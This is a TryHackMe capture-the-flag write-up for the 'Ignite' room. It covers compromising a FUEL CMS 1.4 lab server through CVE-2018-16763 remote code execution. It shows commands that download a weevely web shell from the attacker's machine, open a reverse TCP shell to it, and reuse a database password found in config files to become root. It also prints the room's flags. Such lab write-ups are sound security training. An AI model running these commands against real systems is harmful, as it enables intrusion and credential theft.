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Ignite - Write-up - TryHackMe

noraj (Alexandre ZANNI)
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🇬🇧

Information

Room#

  • Name: Ignite
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: A new start-up has a few issues with their web server.

Ignite

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

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$ sudo pacman -S nmap exploitdb pwncat weevely ruby-httpclient ruby-docopt

Network enumeration#

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# Nmap 7.91 scan initiated Sat Nov 14 20:20:55 2020 as: nmap -sSVC -p- -oA nmap_full -v 10.10.1.243
Nmap scan report for 10.10.1.243
Host is up (0.031s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 14 20:21:58 2020 -- 1 IP address (1 host up) scanned in 62.91 seconds

Web exploitation#

Browsing http://10.10.1.243/ we can see this is FUEL CMS 1.4.

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$ searchsploit fuel cms 1.4
------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                      |  Path
------------------------------------------------------------------------------------ ---------------------------------
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                                | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                    | php/webapps/48778.txt
fuelCMS 1.4.1 - Remote Code Execution                                               | linux/webapps/47138.py
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

$ searchsploit -p 47138
  Exploit: fuelCMS 1.4.1 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/47138
     Path: /usr/share/exploitdb/exploits/linux/webapps/47138.py
File Type: HTML document, ASCII text, with CRLF line terminators

I created a Ruby exploit.

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$ ruby CVE-2018-16763.rb http://10.10.1.243/ 'id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ ruby CVE-2018-16763.rb http://10.10.1.243/ 'ls /bin/nc*'
/bin/nc
/bin/nc.openbsd

Let's create a web shell:

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$ weevely generate noraj agent.php

Start a web server:

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$ ruby -run -ehttpd . -p8080

Then download and execute it.

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$ ruby CVE-2018-16763.rb http://10.10.1.243/ 'wget http://10.9.19.77:8080/agent.php'

Stop the web server and start a reverse shell listener:

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$ pwncat -l 8080 -vv

Then launch a reverse shell from weevely webshell:

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$ weevely http://10.10.1.243/agent.php noraj
...
weevely> :backdoor_reversetcp 10.9.19.77 8080

Then upgrade our shell:

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$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ export TERM=xterm

Grab user flag:

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www-data@ubuntu:/var/www/html$ cd /home/www-data

www-data@ubuntu:/home/www-data$ cat flag.txt
<edited>

Flag: 6470e394cbf6dab6a91682cc8585059b

Elevation of Privilege#

Let's try to find password in the application source code:

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www-data@ubuntu:/var/www/html$ grep -r password fuel/application -n
grep -r password fuel/application -n
fuel/application/views/_install.php:121:                                                        <p>Install the FUEL CMS database by first creating the database in MySQL and then importing the <strong>fuel/install/fuel_schema.sql</strong> file. After creating the database, change the database configuration found in <strong>fuel/application/config/database.php</strong> to include your hostname (e.g. localhost), username, password and the database to match the new database you created.</p>
fuel/application/views/_install.php:187:                                                Password: <strong>admin</strong> (you can and should change this password and admin user information after logging in)</p>
fuel/application/config/database.php:20:|       ['password'] The password used to connect to the database
fuel/application/config/database.php:80:        'password' => 'mememe',
fuel/application/config/MY_fuel.php:32:// shows an alert in the admin backend if this is the admin password

fuel/application/config/database.php looks promising.

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$ www-data@ubuntu:/var/www/html$ head -96 fuel/application/config/database.php | tail -21
$db['default'] = array(
        'dsn'   => '',
        'hostname' => 'localhost',
        'username' => 'root',
        'password' => 'mememe',
        'database' => 'fuel_schema',
        'dbdriver' => 'mysqli',
        'dbprefix' => '',
        'pconnect' => FALSE,
        'db_debug' => (ENVIRONMENT !== 'production'),
        'cache_on' => FALSE,
        'cachedir' => '',
        'char_set' => 'utf8',
        'dbcollat' => 'utf8_general_ci',
        'swap_pre' => '',
        'encrypt' => FALSE,
        'compress' => FALSE,
        'stricton' => FALSE,
        'failover' => array(),
        'save_queries' => TRUE
);

Then mysql and the system account share the same password:

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www-data@ubuntu:/var/www/html$ su root
Password: mememe

root@ubuntu:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)

root@ubuntu:/var/www/html# cd /root

root@ubuntu:~# ls
root.txt

root@ubuntu:~# cat root.txt
<edited>

Flag: b9bbcb33e11b80be759c4e844862482d

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